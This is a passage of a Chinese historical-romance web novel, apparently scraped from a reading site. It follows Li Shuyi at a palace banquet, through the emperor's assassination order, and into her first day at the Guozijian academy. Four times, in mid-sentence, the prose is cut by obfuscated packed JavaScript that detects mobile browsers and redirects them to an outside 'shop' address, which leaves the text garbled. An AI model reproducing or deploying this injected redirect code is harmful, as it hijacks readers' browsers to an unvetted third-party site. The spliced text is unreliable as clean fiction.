严千隐,作为一个爱丝竹雅韵的人,黎书意是听过此人名号的,他虽出身世家大族,但无意功名利禄,唯独热爱舞乐,凭借超逸绝伦的乐才而负盛名,擅抚琴、吹筚篥和奏羯鼓,且他还长于作曲,诸多妙曲皆传于坊间,黎书意还曾经弹唱过。 听闻他之所以会加入皇家乐队,是为了能更好地搜集民乐,以便汇聚四方妙音,博采众长。 因他技艺超凡,身份贵重,又时常外出采风,是以并不常上殿演奏,黎书意心道自己今次运气不错,她端坐在席间,认真欣赏。 正听得入神,她忽而忆起一则流言,眸光不由自主地飘向花英,恰见花英正在看严千隐,难不成确如流言所说,这两人当真是爱侣? 她暗自惊讶,就在这时,花英似有所感,瞥了过来,与她视线交汇,撞个正着,她顿时尴尬不已,忙移开目光。 宫宴伊始,众宾规矩地端坐于各自的位置之上,一边悠然欣赏着丝竹歌舞,一边浅酌杯中美酒。 到后来,在皇帝中途退场以后,气氛渐渐热烈起来,大臣们纷纷起身离席,手中端着斟满美酒的酒杯,径直朝着百里烜赫所在的桌案走去。 他们含笑向他敬酒,祝贺问候连连,百里烜赫亦从容地应对着。等寒暄完了,那群人中的大半转身徐行来至黎家人所在席位,开始向黎横天、黎裕、黎长策敬酒。 黎书意和叔母也未能闲着,不时有各家夫人与小姐上前攀谈,她们礼貌地回应着。 在不知过了多久之后,见再没人上前,黎书意舒了一口气。 抬头朝斜对面扫去,见百里烜赫那边亦没了客人,此时他也正向她看过来,那双漂亮的凤眸微微向左移动,意思似乎是示意她出去。 下一刻,见他已然起身了,黎书意便也跟着起身,知会了兄长一句,她从兰亭手上拿过长木盒,然后绕过人群出去了。 身后的乐声渐渐远离,殿外夜色弥漫,廊下立着一道挺拔修长的身影,黎书意走过去问:“找我何事?” “一起走走。”百里烜赫看了她一眼,然后迈步朝前走。 她跟上去。 夜幕低垂,皓月朗照,清辉盈满庭院,宫灯影影绰绰,与月光相互辉映,远远近近的景致显得朦朦胧胧。 静谧的氛围里,百里烜赫打开话题问:“这两日都在干什么?” “闲来无事,看书。” “你就没有……” “没有什么?”黎书意猜到他想说什么,却明知故问。 “我不习惯。”少年偏头看过来,深邃的眼眸里倾吐着对她的依恋。 事实上她也很不习惯,不过她没有回应。 两人又沉默地走了几步路,这时,她旁边的人忽然道:“最近你若是听到了什么风言风语,不要放在心上。” 她闻言停下来,转脸抬眼问道:“你指的是李诗施和花英吗?” 话音刚落,瞧见那墨玉一样的眸子里闪过一抹慌张,她轻笑一声,继续往下说:“听闻陛下有意在她们中择未来太子妃?” “那是姑母的想法,不是我的,也不一定是她们的。”少年义正辞严,说得有理有据。 “哦?”她一副不信的模样,纠缠不休道,“万一陛下非要呢,或者说她们愿意呢?” “你知道的,我只对你——”少年正色凝视着她,漆黑的眼眸在月色映衬下散发着璀璨的微光,眼里除了浓烈的情意,还有对她开玩笑的不满。 她见状彻底笑开,心里那一点点的不开心也一扫而空了,下一刻伸手递出自己拿了一路的礼物,并祝福道:“生辰快乐!” “是画吗?”百里烜赫看着她问。 她点头,“我画的。” “我很喜欢。” “你都还没看呢。”她有些无语。 这时耳边却传来少年的清音:“不看也知道。” 这话很好地取悦了她。 本来还想再说些什么,却听见大殿门口传出嘈杂的人声,她往那个方向望过去,见宴席已经散了,便回头对面前的人道:“我该走了……” “嗯。”百里烜赫点头,接着又补充说,“过几日不忙了,我再去看你。” “好。”黎书意笑应着,言毕转身走了。 她人刚走到大殿门口的空地上,就看见父兄和叔父叔母也都出来了,于是便站在原地等待。 等他们走过来,兄长往她身后的花园一扫,揶揄道:“见完了?” 她不理会这番调侃。 ……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545787|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 西景皇宫。 下朝后,景帝一脸疲惫地进入御书房,在龙椅上坐下,他从胸腔里吐出长长一口浊气,回想起刚才朝会上议论的战事,他的眉毛不由自主地拧成一团。 汉云和白义两地的起义军势头猛如星火燎原,朝廷陆续派出几员大将前去镇压,竟然都拿当地的暴民毫无办法,白榆更是趁火打劫,连夺了他两座城池,这前有狼后有虎的形势,他当真有些应对无能了。 揉了揉眉心,他向御案外的燕大看过去,“丹霄那边的情况怎么样了?” 最近一直被起义军的反抗和白榆的入侵困扰,他已经有小半月未了解百里烜赫和黎横天的动向了。 燕大拿出随身携带的密信,然后走到御案前,双手呈上道:“陛下,这是今早刚从被派出的密探那里收到的密信。” 景帝伸手接过,快速拆开来阅看,虽然已经料到不会是什么令自己高兴的消息,但是展信看见上面的文字时,他还是没法控制住自己的反应,纸张从失力的手上划落,片刻的愣怔过后,他开始变得愤怒和懊恼。 命运还真会同他开玩笑,想不到那个地位低贱的商妇竟然是失踪多年的平阳公主百里好,他的弟弟和弟妹藏得可真深,这么多年来他竟丝毫未察觉到。 仅是西景宗亲投靠丹霄就有够棘手的了,现在好了,百里烜赫摇身一变成了定王,这样一个拥有两国皇室血脉的人,活着便是对他的威胁。 心里笼罩的恐惧感成倍滋生,他感觉有一支淬了剧毒的利箭已经瞄准了自己,不知道什么时候就会射出,要了他的命,不行,他绝不能放任自流。 只是,眼下光是平息各地的内乱和抵御白榆的入侵就有些应付不过来了,哪里还分得出多余的兵力来对付丹霄呢? 忖度良久,他眼睛一眯,旋即对燕大吩咐道:“派一批武艺高强的刺客秘密潜入丹霄,伺机刺杀百里烜赫。” 尽管心里没底,但他暂时也只能如此了,无论如何,绝不能让百里烜赫在丹霄立稳根基,只希望那作为王储备选的寿王和睿靖郡主能给点力。 谢煜然是隔天才知道百里烜赫竟然是丹霄二公主百里好之子的,真是惊喜一个接一个,他这位堂弟仿佛得到了上天的眷顾,不仅死里逃生,如今更是平步青云,如此看来,这下他算是彻底脱离威胁了吧。 反观自己,自从从宿县回来,他便一直在禁足中,同时还被收归了许多权力,母后愤怒地前来责问他,问他为何要放走他们,还说若是他想得到黎书意,大可以等抓到人后,在处罚之时再下手,到时候她一个待罪之身的女子,还不是任由他搓圆揉扁。 是啊,这听起来的确是个不错的办法,他也曾想到过这一层。可是,他终究无法像他们一样做到这一步。 就如同现在,他明明忮忌得几近疯狂,恨不能将这个如影随形的对手千刀万剐。然而,一旦冷静下来,他却又什么都做不到了,因为他很清楚,百里烜赫从来没有对不起自己,相反地,是他,他们家对不起他。 129. 求学 阳光透过纱窗,在书房一角洒下一片温柔的金色,黎书意坐在案前神情专注地看书,并不时翻动手上的书页。 看完最后一页,她餍足地合上诗集,接着抬眼扫向案边摞起来的另几本书,来丹霄已有半月,她闲来无事便整日读书,终于是把那日出门买的书给读完了。 一通看下来,她收获颇多,丹霄诗文种类要比西景的更丰富,文人的风格也更多样化,精品良多。 她自诩读得书不少,现在却感觉读得远远不够,有太多东西她还不了解,需要深入学习。 深吸一口气,她打定了主意,不打算再买书回家自己啃了,这种生活她已经过了十几年,有些厌倦了,她想要来点不一样的,丹霄女子是可以入学堂的,她想上学堂,去体味少时向往已久的生活,体味与同窗交流的乐趣。 当初为了写《学崖》,她不仅对西景的学府做过调查,也对丹霄和白榆的学府做过调查,她记得丹霄国子监下设六学,各学对年龄和门第的要求各不相同。 她的年龄是在限定范围以内的,以父亲目前的官位来衡量,她是能够入国子学的,只不过国子学每年只招收三百人,而女子不足百名,审核非常严苛,她又是投诚之官的女儿,这就变得有点悬了,但是她还是想试试。 恰好今日父亲在家,不如现在就去说说看,省得日后他忙起来就不便打扰了,这么想着,她离开了书房,只身往长卿院去了。 到院中,见沥泉和绿沉侍立在门的两侧,看来兄长也在。 她还未走至门口,就听见屋里传来叔父的说话声,他轻叹口气道:“收发书信需要拆开检查,访客上门需要核实身份,出门有人全程跟随,总之就是全方位的监视。” 这听起来像是在说外祖母和表姐的事,因为心中牵挂,她便没有在外多停留,而是直接跨门而入,到厅中,她急切地问:“叔父,我外祖母她……” 黎裕看了侄女一眼,回道:“老人家身体还很硬朗,颜丫头也没有事,只是官府不准她们再插手书院的事了。” “放心,”黎长策插话进来安慰小妹,“只要我们还逍遥法外,他便不会动她们的。” 黎书意闻言抿唇不语,这个“他”指的自然是景帝,过了这许久,外祖母和表姐的处境未变,她们依旧还是人质,两人很可能在必要的时候成为西景与他们谈判的筹码。 黎书意讨厌这种感觉,然而眼下却不能奢求太多,只愿她们能安全活着就好,自我安慰完,沉吟片刻后,她接着又问:“那西景现在局势如何?” 黎裕长叹一声,静默片刻后沉痛地说道:“汉云和白义发生了暴动,白榆趁乱夺下了子路和子规两座城池。” 这黎书意其实不太意外,近些年,百姓对朝廷本就有诸多不满,他们的问罪与叛变更是给了本就不稳固的朝廷一次重击,人心涣散是必然的,恐怕之后还会更严重。 其实,她还想知道百姓对他们投诚丹霄的看法,最后到底是没有问出口,因为她心里很清楚,百姓可能会理解,但是肯定也很失望。 “好了,”交流完情况,黎裕站起身来道,“许久未归家,我先回院里去看看。” “叔父慢走。”黎书意随口回着。 待黎欲离开,黎横天的目光移到女儿身上,关切地问:“可是有事?” 闻言,黎书意从悲伤的情绪里抽离,她望向父亲,静默片刻后开口提出了自己的请求:“父亲,我想入国子监。” “国子监?” “嗯。”她点头,旋即解释说,“我知道国子监择生资格严苛,况且我们家又是投诚来的,可能会有些困难,而且眼下上半学年已经过半了,不过我可以接受能力考核,不知是否可行?” 见女儿考虑得如此周全,黎横天笑道:“你自小爱看书,为父又岂会不满足你心愿的,况且你初来这里,身边也没个亲近的人,出去走走,多结交些同龄人,挺好的。” 尽管一早就知道父亲会答应,可听见这话,黎书意心里还是很感动。 “去吧。”黎长策看着自家小妹,“以前你总是控诉我能上学而你不能,你便去看看学府内是不是如你向往的那般美好。” 从父亲院里回来,黎书意便忐忑以待,她有些担心国子监不会轻易接纳她这个外来的人,然而结果出乎意料,隔天下午父亲回来,同她说她准备好了就可以直接去报到。 竟然没考核,也没有要她再等一年,或许与她的担忧相反,朝廷很照顾他们,不管怎样,这实在是一个好消息。 翌日,黎书意又出门了,打算为入学做些准备,笔墨纸砚家中有全新的,不需要采买,她主要是想再购些书。 尽管以前从兄长口中了解了不少关于学堂的事,但是毕竟地方不同,教授的方式肯定也有所差别。 只是当她到了百味书局,站在门口内侧望着那一排排书架时,竟然一时间迷失了,这不是以往凭兴趣购书,她实在选择无能。 想了想,她走到柜台前,对掌柜道:“掌柜的,您能推荐我一些国子监学子常看的书?” 掌柜的闻言望向柜台外侧的人,见少女亭亭玉立,衣饰华贵,举止得体,显然是大户人家的姑娘,她一边走一边道:“姑娘是在为明年入学做准备?” “嗯。”黎书意应声,如果说现在入国子监,掌柜的必然会觉得奇怪,一深想估计就猜出她的身份来了,入城半月,她受到的议论太多,不想再添上一桩了。 掌柜的人很好,在几个书架间来回穿梭,不多会便找来了五六本书递给她,然后道:“这些都是来我书局学子们常买的书。” “谢掌柜的。”黎书意一边接书一边真诚道谢,旋即又道,“我还想再看看其他的。” “行,那你慢慢看。”掌柜的说完往柜台走去。 告别掌柜的,黎书意去了摆放诗集的书架,上次看了几本诗集,觉得很是不错,她打算再挑两本看看。 哪知到了地方,竟一眼就在书架上瞅见了《苏或雍诗集》,她惊诧极了,看架上仅剩下最后一本,就知道苏先生的诗不仅风靡西景,就连丹霄的文人也喜欢。 她欣喜地探出手去,然而指尖刚触到书皮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545788|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现眼前多出了一只白嫩修长的手,她好奇地转头,看见一个俊眉修眼,气若幽兰的年轻女子。 若是寻常时候,黎书意定会以礼相让的,可苏先生不仅是她最敬佩的诗人,还是她曾经的雇主,他更是明里暗里帮了她许多忙。 自那日草庐一别,他们就未再见过,如今她身在异国,格外地想看他的新作,就有些不愿割爱了。 年轻女子明显看出了她的想法,含着笑先收回了手,黎书意便顺意拿起了诗集,接着她转头面对女子,心里多少有些过意不去,想要做出些补偿。 还未及开口,见女子扫向身后兰亭抱着的那一摞书,紧接着又转向她,“你是黎书意。” 她闻言惊问:“你是谁?” 女子并未回答她的话,只自顾自道:“我听说你打算入国子监,看来是真的。” 仅从几本书就判断出她的身份,这未免太过武断了,她正欲再问,见女子轻笑出声,星眸在她脸上流转,点着头道:“浓桃艳李,柳眉星眼,顾盼生辉,果然与花英说得一样。” 所以这才是认出她的根本原由,那日她与花英只不过在宴会上互瞥过几眼,并没有直接接触过,不知道她竟然观察过自己。 看着面前身份未明的人,她一时无话。 下一刻,却见女子友好地自报身份道:“你好,我是李诗施,我读过你作的诗,也看过你以墨含为名写的话本。” 黎书意睁大眼睛凝视着面前的人,李诗施,如雷贯耳的名字,门下侍郎李俭之女,目前于秘书省任秘书郎一职。 没想到她们竟然会在这样的情况下碰面,而且自己刚才挑的那摞书里就有她写的。 尚在惊讶之中,耳畔传来李诗施善意的祝福:“希望你能好好享受学堂时光。” 黎书意觉得她之所以说这话,显然是因为自己所写的《学崖》,这令她十分难为情,这个故事对西景的女子来说是美丽的幻想,但是对于丹霄的女子来说却是实在的现实,她担心自己的作品在李诗施眼里会不会显得小儿科。 “这书……”不知道说什么,她垂眼望着手中的诗集,回归搁浅的话题。 李诗施无所谓地耸肩道:“你拿着吧,我与书局掌柜的相熟,等新刻的书到了,我让她留一本就行。” “谢谢。” “嗯。”李诗施说毕转头走了,走两步又折身回看她,“哦,对了——” 黎书意正打算往前走,闻言便看向她,然后听见她说:“若是你需要帮助,欢迎到东篱街李府找我。” “谢谢,有需要会的。”黎书意做出礼貌的回应。 小插曲过去,李诗施离开了,黎书意继续逛起来,走出一截路后,闻身后兰亭小声道:“所以她便是李诗施?” 顿了顿,又问她:“二姑娘,您真的会去找她吗?” “应该会。”黎书意没怎么犹豫。 “可她是——”兰亭想说什么,最后还是忍住了。 “别可是了,”一旁的舒凌寒插话进来,“你知道的,二姑娘一直很欣赏李姑娘的才华。” 130. 送暖 深夜,四下漆黑一团,安息香散发着醉人的芬芳。 床上,黎书意又翻了个身,已经熄灯许久了,她却始终睡不着,脑海里充斥着各种杂念,把睡意冲了个精光,叹了口气,她最终掀开被子下床了。 兰亭听见动静,轻声问道:“二姑娘,怎么了?” “我无事,只是有些睡不着,想去外面透透气,你继续睡吧。” 兰亭正困,闻言含糊地应了一句,然后便闭眼睡了。 穿好鞋披好衣服,黎书意轻手轻脚地朝外走,到了门口,她拉开门,再轻轻合上。 夜色如墨,月亮恰似一颗悬挂在天幕之上的明珠,洒下万缕清辉,为静谧的庭院披上了一层银纱。 黎书意往凉亭走去,没想到在经历了逃亡生活之后,她居然还能因为入学这种小事而紧张到难以入睡。 到了凉亭,她在石凳上坐下,微凉的夜风时不时吹过,摇得树叶沙沙作响,她那颗焦灼不安的心也渐渐被吹冷了些许。 心绪稍定,她准备回屋睡觉,毕竟明日还要早起,正待起身,忽听见院墙那里有响动,她无意识地循声望过去,本以为是老鼠之类的东西,结果却看见墙头立着一个人,心一下子就提了起来。 盯着那道黑影,她脑海里一时间闪过许多想法,这人是谁,来这里干嘛,她现在叫人赶得及吗? 还未想出个所以然来,再仔细一看,发觉他的身形十分熟悉,于是紧绷的身体顿时松懈了,她站起身来,一边向院墙走去,一边没好气道:“你怎么这时候过来了?” 百里烜赫利落地从墙上跃下,然后迈步朝少女走去,解释说:“刚从玄都赶回来,本想上门拜访,但见府门已经下钥,所以便……” “所以便翻墙?”黎书意接话,看眼前的人不吱声,她调侃道,“堂堂定王,居然翻姑娘的院墙,若是传出去了,你也不怕被人笑话。” 说毕,见百里烜赫素来沉静的脸上露出一丝被戳到了的尴尬,瞧他害羞了,黎书意不再逗弄,转而问道:“这么晚了,找我何事?” “明早你就要去国子监了吧?” 哦,她唇角轻轻勾起,原来是来给她送温暖的,便点头“嗯”了一声。 “不必太过担心,那里的日常和你书里写的不会有太大的差异,不过就是上课、考试,与同窗们小聚,当然,书里的那些困难基本是不会有的,说不定还会有惊喜。” 清朗柔和的声音响起,仿佛是一只温暖的手,轻轻安抚着黎书意躁动不安的心。 “我知道。”道理其实她都懂,但就是情绪上却难以控制,不过被他这么一开解,立时轻松了许多。 她抬眼注视着旁侧的人,月光如笔,少年精致的侧颜在幽暗的光影之中勾勒出山峦起伏般的凌厉线条,那双眼睛也在清晖照耀下闪烁着星辰般的光芒,此时的他沉静美好如同一幅画。 难为他自己都忙得分身乏术了,还要大晚上翻墙来抚慰她,高兴之余,她也有些好奇,便问:“若是我今晚没出来,你待如何?” 百里烜赫低下头与她对视,“那就等明早趁你去国子监前说。” 这话宛如喂了她一口蜜,直甜到她心里去,她愉悦地一笑,想问问他近几日在玄都的近况。 自从宫宴以后,父兄和他便正式入朝参政了,父亲任的是左武卫大将军,日常负责宫廷宿卫与京城治安之责,同时还担起训练中央军的重任,在京畿百里外的营地展开练兵,力求为丹霄打造出一支精锐之师。 而百里烜赫则领了散骑常侍的职位,被陛下派往玄都,那里是蚕桑养殖政策的重点推广区域,近两月,那边的桑蚕农事正如火如荼地开展着,百里烜赫负责督查相关事宜。 他刚入朝堂,这是陛下交给他的首个重要任务,意义重大,不仅关乎着民生经济,更是陛下对他的一次关键考验。 因与他无机会碰面,又怕贸然联系会打扰到他,自从父亲口中得知了他接下这桩任务以来,黎书意心中便记挂着。 然而想说的话还未问出口,却见他抬起手,将拇指和食指放到嘴边,吹了一记嘹亮的哨音。 黎书意对此举感到奇怪,正要询问,一只大鸟扑腾着翅膀飞了过来,最后停在了石桌上。 “这是?”看着桌上有书册那么大的鸟,她越发疑惑了。 百里烜赫解释说:“这是祈安阁用于联络的游隼,这一只是我专用的,以后我会用它与你联系。” “哦,所以你是来带它认路的吗?” “嗯,还有认你。” 黎书意笑而不语,自入伊洛以来,他们被距离隔断开,他又十分繁忙,两人聚少离多,几天都见不到一面,这是打算日后用书信联络。 与游隼互相认识后,她回归被打断的思绪上,问起玄都那边的情况,百里烜赫简单地同她说了说去桑树林查看桑叶质量,以及到蚕农家询问蚕茧产量的事情,末了,从怀里掏出一枚蚕茧递给她。 她接过蚕茧,茧壳比鹌鹑蛋大一些,白色的,在月光的映衬下,像一块上好的羊脂玉,听见任务一切顺利,她悬着的心也就放下了。 两人坐在院中小叙了一会,接着百里烜赫站起身来,柔声细语地说:“时候不早了,我该回去了,外面天凉,你早些睡。” “嗯。”黎书意点头。 说着,两人一道出了凉亭来到院墙边。 深深地凝视了一眼少女,百里烜赫脚尖点地,越上了墙头,站在墙头上,他又回头叮嘱道:“有事记得找我。” “我会的。” …… 清晨,天还未亮,易安居就忙碌开了,镜台前,兰亭正在为黎书意梳妆,而小厅里,舒凌寒正在摆早食。 等用过早食,主仆三人兴冲冲地走出院门,到了府门口,外头马车早已经候着了。 早上的空气带着一丝凉意,望了一眼空荡的巷子,黎书意转头对两人道:“好了,你们都回去吧。” “二姑娘,婢子不放心……”兰亭依依不舍地说。 舒凌寒见状有些无奈,“二姑娘是去学堂的,你有何不放心的?” “可是——” “好了,”黎书意制止了兰亭的话,“若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545789|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我带上了你们,监里的学子们该议论我娇生惯养了,放心,我能照顾好自己的。” 兰亭闻言只得将话咽下,默默与凌寒姐姐将二姑娘送至车边。 黎书意踩上马凳躬身进入车厢,在软垫上坐下以后,她挑开窗帘向车边的两个丫头道:“那我走啦。” 马车踏着晨光慢慢动起来,车轮滚动的声音在安静的街道上清晰而绵长。 国子监位于英蕊街,距离府上不算太远,不过黎书意未曾去过,对于距离没有概念,她一个人呆坐着也是无聊,便抄起手边的书本看起来。 看得正投入,刚准备翻页,外头传来车夫吁马的声音,她的身体微向前倾,接着马车停了下来。 “二姑娘,到了。” “知道了。”她合上书本。 拉开车帘,将装着墨宝的提盒递给车夫,她踩着马凳下车了,踏上地面以后,她面对着国子监的正门仰头而望。 大门十分气派,顶覆琉璃瓦,檐角飞翘,斗拱繁复,雕饰精美的牌匾写着“国子监”三个大字,两边的诗文字体雄浑苍劲、格高意远。 正看着,有三五学子步入视野,他们谈笑着跨进了国子监大门。 从车夫手上接过提盒,黎书意身姿一挺,然后便迈开步子朝前走去。 穿门入内,开阔的空间在眼前展开,近处是宽敞的空地,远处是高低错落的房舍,学堂规模宏大,布局严谨,轩昂壮丽,花园锦簇,对于一个初来乍到的人,四通八达的路口实在令她无从抉择。 “黎书意!”正准备寻个人问问,听见背后有人叫她,她转过身,看见快步朝她走来的魏慕依。 到了跟前,魏慕依绽开笑脸,主动说道:“你与我一样是二年生,我带你去。” “谢谢。” 于是乎,黎书意便跟着魏慕依走,穿过宽敞的前院,两人来到二年生女学子授课的书堂,扶摇堂。 刚走到门口,门内的热闹顿时消失得无影无踪,大家齐看过来,准确地说,是向黎书意投来打量的目光。 安静了片刻,她们又低头与旁边的人窃窃私语起来。 “这便是传说中的西景第一美人,的确桃花玉面,姿色出众!” “外貌倒算是对得起那称号,可才情是否属实就不得而知了……” “是啊,毕竟传言往往夸大其词,再说了,就西景那地方,读过两本书,能作几首诗就能称得上是才女了!” …… 黎书意对议论置若罔闻,神色淡然地放眼扫视,寻找着空位置,最后在角落里找见一个。 “我去那边。”朝魏慕依一点头,她抬脚往空位置走去。 到位置以后,她将提盒放到案上,然后在座位上落坐。 才刚坐好,一个身影晃到跟前,她抬头看着来人,见面前的女子脸若秋月,眼里含着几分盛气,这姿态显然不是和魏慕依一样,来向她示好的。 果然,下一刻听见女子口气张扬道:“我是太常卿吴栩之女,吴云初,我听闻你擅长下棋,正好我十分爱棋,可以向你讨教一二吗?” 131. 讨教 吴云初的讨教一出口,书堂内顿时一片哗然,大家伙都来了兴致,眼神中闪烁着兴奋的光芒,一副看好戏的模样。 黎书意知道自己如今身份特殊,本不愿招惹是非,想尽量低调一些,不过既然人家主动上门找事,她也不会退缩,坦然迎上吴云初挑衅的目光,她平静地一点头道:“好。” 话落,书堂内彻底沸腾开来,聒噪不已。 “吴云初的棋艺在国子监里可是数一数二的,这下有好戏看了!” “是啊,传闻这黎书意琴棋书画样样精通,我倒要看看到底谁技高一筹!” 说着,她们一窝蜂聚过来,有人还热心地帮忙搬了棋桌。 “请。”吴云初向黎书意摆手邀请道。 黎书意应声而起,在各种各样的目光之下走到棋桌一侧落座。 吴云初在另一侧坐下,拉平了衣裳上的褶皱,端正了姿态,她明眸扫过来,礼貌地询问:“黑子还是白子?” “黑子。”黎书意随口道。 她话音刚落,就闻门口有人高喊道:“快来看热闹了,吴云初和黎书意正在对弈!” 于是,别的书堂的学子也纷纷涌了进来,原本全是女学子的扶摇堂,瞬间挤进了半数男学子,黎书意和吴云初瞬间被团团围住。 在一片嘈杂声之中,吴云初傲然地执起白子,瞥了黎书意一眼后,她干脆利落地将白子落在棋盘右上角星位上。 黎书意目光淡然地扫视棋盘,而后从棋罐中捏起一枚黑子,轻轻置于棋盘左下角星位上。 吴云初见状眼神微动,唇角勾起一抹笑容,随即迅速落下第二枚白子,直逼黑子而来。 黎书意不慌不忙,思索片刻后,紧跟着落下黑子,巧妙地化解了吴云初的攻势。 两人落子的速度都很快,你来我往之间,棋局进入中段,棋盘上黑白棋子交错,局势愈渐复杂。 “啪嗒!”吴云初在棋盘中央天元附近落子,她满脸得意,一副胜利尽在掌握的模样。 “吴云初的棋风一如既往的凌厉,这一步直接占据了中心要地,黎书意这下可难办了!” “是啊,这黎书意棋艺确实不差,但偶尔缺乏章法……” 围观学子中有人小声议论着。 黎书意神色平静如水,丝毫不为议论所扰,她以两指拈起黑子,准备落子,然而手刚往棋盘右下角边缘处挪动,不知是谁喊了一句:“祭酒来了,祭酒来了!” “算了,今天便下到这吧,等下次有机会了,我们再切磋。”对面,吴云初颇有些不尽兴地朝她看来。 “好。”她点头。 还未及起身,耳畔飘来一句嘲讽:“嘁,第一才女也不过如此,由此可见,西景女子的资质是有多差劲!” 黎书意既然应下了挑战,那么无论结果是输是赢,她都可以接受,可眼下战局还未定,便下这样的结论未免太过武断了。 况且,这人还以此为由,恶意地贬低西景的女子,她不能忍,于是她站起身,直视着说话的人道:“西景的女子资质并不比你们差,她们只是没有入学的机会而已。” 此话一出,书堂内顿时陷入安静。 听见反击,那人被说得一愣,她不过是不满这个传说中的外来女子才刚来就引起各种轰动,所以趁机逞口舌之快罢了。 没想到看起来温和的人,竟然如此伶牙俐齿,见众人都看着自己,她有些难堪,不知该说什么,甩下一个“哼”字,便回自己座位上了。 吴云初并没有关心这番小争执,此时她正在重新审视棋局,心内不禁波涛起伏。 刚才,她身在战局之中,一心想着要战胜黎书意,好巩固自己的名声,现在以第三者的角度旁观,她发现再走上三步棋,她便会被围住,结局是必输。 她忽然有些庆幸祭酒来得及时,否则今日她就是搬起石头砸自己的脚,很可能声名毁于一旦。 人群逐渐散去,其他书堂的学子相继出了扶摇堂,本堂的女学子也纷纷回自己座位了,书堂慢慢安静下来。 没过多久,一个身穿月白色锦袍的中年男子走进堂中,同时众学子齐声问候道:“见过祭酒!” 黎书意好奇地注视着面前这个眉目清秀,端庄温润的男子,这便是唐伯阳,丹霄皇帝的丈夫,文安皇夫。 他乃前御史大夫的长子,据传自幼聪颖,静思好学,十四岁便入国子监,期间四书五经无所不学,文史典章无所不习,因对传业授道感兴趣,结业之后便留在国子监任博士,然后一步步做到了祭酒。 对此人,黎书意也是极好奇的,本以为那日宫宴上可以得见,结果他因为染病,未能出席。 他与丹霄皇帝的感情史,即便她这个从前的西景子民,那也是相当熟悉的。 传闻当今陛下尚是太子之时,她向先皇提出了女子入学的建议,而后便亲身前往国子监考察,路过书堂时被正在讲授经学的唐伯阳所吸引。 此后,太子时常光顾国子监,与唐伯阳探讨学术,交流治国之道。在你来我往的接触中,唐伯阳被太子的聪慧、果敢和仁慈所打动,渐渐地,两人情愫暗生,最终走到了一起,听说两人感情甚笃。 思绪飘飞间,见祭酒环视一圈,最后朝她走来,她急忙收拢杂想,站起身来。 祭酒到了案前,将手里的东西递给她道:“黎学子,这是你的书。” “谢祭酒。”黎书意躬身一礼,然后双手接过书本。 递到手上的是一本蓝色封皮,颇有些分量的书,除了书以外,最上面还有一张图表。 见她疑惑,祭酒解释道:“这是课业安排,分为必修和选修,你好好考虑要选什么课,下学后交与我。” “学子明白。” “嗯。”祭酒颔首,未再多言,折身离开,边走边洪声对众学子道,“好,今天我们继续看《儒经正义》。” 黎书意也重又落座,然后翻开了手中的课本,书是祭酒自己编撰的,她不可能读过,又是从中部开始,对她而言有些生涩,因此接下来的时间她不敢有丝毫的走神。 不过,祭酒谈吐优雅,学识渊博,授课深入浅出,倒是让她忆起了幼时母亲为她开蒙的那段日子,尽管只听懂了七八分,她依旧觉得津津有味,早课便在不知不觉中结束了。 因部分学子来自其他地方,也为了方便学习和生活,国子监是提供食宿的,下了早课,黎书意怀揣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545790|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着好奇心,跟随魏慕依走向膳堂。 踏入门厅的那一刻,饭菜的香气扑鼻而来,她游目四看,只见宽敞的厅堂中摆放着一排排整齐的木质桌椅,正对面的小窗格里是厨子们忙碌的身影,窗前摆着米饭、面食、荤素菜、汤羹、甜点等吃食,种类丰富,色泽鲜亮。 她和魏慕依从排头的窗口依次走过,两人各自挑选了自己想吃的菜肴,然后端着木托盘在空位置面对面而坐。 周围的同窗们有的在热烈讨论学问,有的在分享生活中的趣事,这里没有礼仪的拘束,热闹、自在,而又充满活力。黎书意浅浅一笑,拿起筷子品尝膳堂饭菜的滋味。 吃毕午饭,回到书堂,她抄起书本里夹着的纸张细看起来,主修课以经学为主,部分她曾经读过,部分没有。 选修课分文课和武课,文课有琴棋书画诗酒花茶,武课有射箭、剑术、拳法,她盯着繁杂的科目,在心底认真斟酌着。 